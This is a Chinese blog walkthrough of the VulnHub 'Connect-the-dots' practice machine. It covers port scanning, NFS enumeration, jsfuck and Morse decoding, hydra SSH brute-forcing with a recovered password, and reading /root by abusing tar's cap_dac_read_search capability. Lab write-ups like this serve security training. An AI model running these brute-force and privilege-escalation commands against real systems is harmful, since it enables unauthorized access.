靶机测试Connect-the-dots笔记

最新推荐文章于 2024-02-29 19:14:12 发布

夜yesec

最新推荐文章于 2024-02-29 19:14:12 发布

阅读量639

点赞数 3

分类专栏：靶机实战笔记安全文章标签：网络安全安全系统安全 ubuntu linux Powered by 金山文档

本文链接：https://blog.csdn.net/qq_56426046/article/details/128627239

版权

安全同时被 2 个专栏收录

98 篇文章 11 订阅

订阅专栏

靶机实战笔记

28 篇文章 8 订阅

订阅专栏

靶机描述

Description

Back to the Top

Level: Beginner-Intermediate

User flag: user.txt

Root flag: root.txt

Description: The machine is VirtualBox compatible but can be used in VMWare as well (not tested but it should work). The DHCP will assign an IP automatically. You have to find and read two flags (user and root) which is present in user.txt and root.txt respectively. Enjoy pwning it!

靶机地址

https://www.vulnhub.com/entry/connect-the-dots-1,384/

信息收集

fscan确定靶机

.\fscan64.exe -h 192.168.1.0/24

start infoscan
(icmp) Target 192.168.1.1     is alive
(icmp) Target 192.168.1.105   is alive
(icmp) Target 192.168.1.103   is alive
[*] Icmp alive hosts len is: 3
192.168.1.1:80 open
192.168.1.103:21 open
192.168.1.105:135 open
192.168.1.105:443 open
192.168.1.105:445 open
192.168.1.103:80 open
192.168.1.105:7680 open
192.168.1.105:8000 open
192.168.1.105:139 open
192.168.1.105:3306 open
192.168.1.105:7000 open

确定靶机192.168.1.103

nmap端口扫描

─$ nmap -p- -A 192.168.1.103 -oA dots-ports                                                                                                                                                                 139 ⨯

Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-10 09:30 CST
Nmap scan report for 192.168.1.103
Host is up (0.00025s latency).
Not shown: 65526 closed tcp ports (conn-refused)
PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 2.0.8 or later
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
|_http-title: Landing Page
|_http-server-header: Apache/2.4.38 (Debian)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      48803/udp6  mountd
|   100005  1,2,3      51443/udp   mountd
|   100005  1,2,3      55293/tcp6  mountd
|   100005  1,2,3      56571/tcp   mountd
|   100021  1,3,4      33031/tcp6  nlockmgr
|   100021  1,3,4      34895/tcp   nlockmgr
|   100021  1,3,4      37972/udp   nlockmgr
|   100021  1,3,4      56934/udp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
7822/tcp  open  ssh      OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 38:4f:e8:76:b4:b7:04:65:09:76:dd:23:4e:b5:69:ed (RSA)
|   256 ac:d2:a6:0f:4b:41:77:df:06:f0:11:d5:92:39:9f:eb (ECDSA)
|_  256 93:f7:78:6f:cc:e8:d4:8d:75:4b:c2:bc:13:4b:f0:dd (ED25519)
34895/tcp open  nlockmgr 1-4 (RPC #100021)
36417/tcp open  mountd   1-3 (RPC #100005)
56571/tcp open  mountd   1-3 (RPC #100005)
60229/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.13 seconds
zsh: segmentation fault  nmap -p- -A 192.168.1.103 -oA dots-ports

各端口开放的服务

21 ftp 80 web 服务 7822 ssh nfs 共享

nfs 检测

获取 nfs 服务器的目录列列表

showmount -e 192.168.1.103

得到用户名 morris

挂载共享目录

mount -t nfs 192.168.1.103:/home/morris dots

挂载失败

访问 80 端口

目录扫描

gobuster dir -u http://192.168.1.103 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

==============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.103/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/01/10 09:47:15 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 315] [--> http://192.168.1.103/images/]
/manual               (Status: 301) [Size: 315] [--> http://192.168.1.103/manual/]
/javascript           (Status: 301) [Size: 319] [--> http://192.168.1.103/javascript/]
/backups              (Status: 200) [Size: 6301]                                      
/mysite               (Status: 301) [Size: 315] [--> http://192.168.1.103/mysite/]    
/server-status        (Status: 403) [Size: 301]                                       
                                                                                      
===============================================================
2023/01/10 09:47:41 Finished
===============================================================

扫描结果

发现 jsfuck 编码

目录可访问发现 bootstrap.min.cs 文件有 jsfuck 编码

处理字符串

访问这个注册页面的时候发现会 js 会调用 bootstrap.min.cs 内的内容

http://192.168.1.103/mysite/register.html

console.log(b1+b2+b3+b4+b5+b6+b7+b8+b9+b10)

jsfuck 编码

http://codertab.com/JsUnFuck

alert("You're smart enough to understand me. Here's your secret, TryToGuessThisNorris@2k19")

TryToGuessThisNorris@2k19 这个可能是是一个密码

hydra 穷举 ssh

用户名
morris
norris
hydra -L user -p TryToGuessThisNorris@2k19 ssh://192.168.1.103 -s 7822

[7822][ssh] host: 192.168.1.103 login: norris password: TryToGuessThisNorris@2k19

登录 ssh

└─$ ssh norris@192.168.1.103 -p 7822

得到 flag user.txt

查找敏感信息

查看ftp目录有以下文件

登录 ftp

norris 登录 ftp下载文件

摩斯密码

查看图片信息，发现摩斯密码

exiftool game.jpg.bak

解密摩斯密码

HEY NORRIS, YOU'VE MADE THIS FAR. FAR FAR FROM HEAVEN WANNA SEE HELL NOW? HAHA YOU SURELY MISSED ME, DIDN'T YOU? OH DAMN MY BATTERY IS ABOUT TO DIE AND I AM UNABLE TO FIND MY CHARGER SO QUICKLY LEAVING A HINT IN HERE BEFORE THIS SYSTEM SHUTS DOWN AUTOMATICALLY. I AM SAVING THE GATEWAY TO MY DUNGEON IN A 'SECRETFILE' WHICH IS PUBLICLY ACCESSIBLE.

翻译

获取用户 morris 密码

读取 www 目录下的 secretfile

swp 是编辑器突然断电或者 ctrl+z 产生的文件

wget http://192.168.1.103/.secretfile.swp

└─$ strings .secretfile.swp

blehguessme090可能是密码

登录 ssh

└─$ ssh morris@192.168.1.103 -p 7822

拿到 root.txt

/sbin/getcap -r / 2>/dev/null

/usr/bin/tar = cap_dac_read_search+ep

可以绕过文件的读权限检查和目录的读和执行权限检查。

tar 打包/root
tar -zcvf root.tar.gz /root

解压文件
tar -zxvf root.tar.gz
查看root.txt
cat root/root.txt

总结

涉及到的知识点

nfs 检测

jsfuck 编码解密

摩斯密文解密

hydra 测试

ssh 安全

getcap 文件分析

tar 打包文件

山海自有归期，风雨自有相逢，意难平终将和解，万事终将如意

夜yesec

关注

3
点赞
踩
1

收藏

觉得还不错? 一键收藏
打赏
0
评论
靶机测试Connect-the-dots笔记

涉及到的知识点nfs 检测jsfuck 编码解密摩斯密文解密hydra 测试ssh 安全getcap 文件分析tar 打包文件山海自有归期，风雨自有相逢，意难平终将和解，万事终将如意。
复制链接

扫一扫